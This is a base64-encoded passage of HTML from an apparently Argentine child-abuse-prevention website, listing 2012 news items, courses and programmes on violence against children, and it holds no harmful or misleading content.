IGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ